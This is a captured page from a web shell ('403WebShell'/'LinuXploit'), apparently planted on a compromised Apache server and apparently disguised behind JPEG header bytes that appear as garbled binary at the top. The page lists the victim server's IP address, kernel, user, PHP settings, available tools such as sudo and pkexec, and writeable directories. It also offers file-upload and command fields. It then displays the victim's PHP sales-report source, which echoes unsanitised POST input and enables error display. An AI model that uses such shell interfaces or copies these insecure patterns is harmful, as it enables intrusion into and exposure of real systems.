����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.148
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/action/ajaxinventario-action.php
<?php

ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);

//2021/12/27
$stock_id =  $_POST['stock_id'];
if(empty($stock_id)){
	
	$date1 = $_POST['date1'];
	$date2 = $_POST['date2'];
	$date1 = date("Y-m-d", strtotime("+1 day", strtotime($date1))) . " 00:00:00";
	$date2 = date("Y-m-d", strtotime("$date2")) . " 00:00:00";
	$users = OperationData::getTsaleDetailByDateAll($date1,$date2);
	
}else{
	
	$user = UserData::getByIdStock1($stock_id);
	echo $almacen = $user->id_user;
	$date1 = $_POST['date1'];
	$date2 = $_POST['date2'];
	$date1 = date("Y-m-d", strtotime("+1 day", strtotime($date1))) . " 00:00:00";
	$date2 = date("Y-m-d", strtotime("$date2")) . " 00:00:00";
	$users = OperationData::getTsaleDetailByDate2($date1,$date2,$almacen);
	
}




if (!empty($_POST['date1']) and  !empty($_POST['date1'])){	
		
		if(count($users)>0){
			
			
			$total=0;
			$total_total=0;
			foreach($users as $user){
			$product = ProductData::getBycode($user->barcode);	
			$total = $total + $user->qty;
			?>
		<tr style="background:#red">
				<td><?php echo $user->barcode;?></td>
				<td><?php echo $user->item_name;?></td>
				<td>$ <?php 
				if(isset($product->price_in)){
					$price_costo =$product->price_in;
					echo number_format($price_costo,2);
				}else{
					echo $price_costo = 0;
				}
				?>
				</td>
				<td>$ <?php $priceSinIva =  $user->price/1.16;
					echo number_format($priceSinIva,2);
				?></td>
				<td>$ <?php echo $utilidad = number_format(($priceSinIva - $price_costo)*$user->qty,2);
				$total_total = $total_total + (($priceSinIva - $price_costo)*$user->qty);
				?></td>
				<td><?php echo $user->qty;?></td>
				
				<td><?php echo date("d/m/Y", strtotime($user->created_at));?></td>
			</tr>
			<?php
			
			}
			echo '
				<tr>
					<td colspan = "3" class="text-right">Articulos Vendidos: '.$total.'</td>
					<td colspan = "3" class="text-right"><b>Utilidad: $ '.number_format($total_total,2).'</b></td>
				</tr>
				';
			?>
			
		<?php
		}else{
				echo '
				<tr>
					<td colspan = "4" class="text-center">No se encontraron registros</td>
				</tr>
				';
		}

	} else {
			echo '
				<tr>
					<td colspan = "4" class="text-center">Error de fechas</td>
				</tr>
				';
}	

?>

Youez - 2016 - github.com/yon3zu
LinuXploit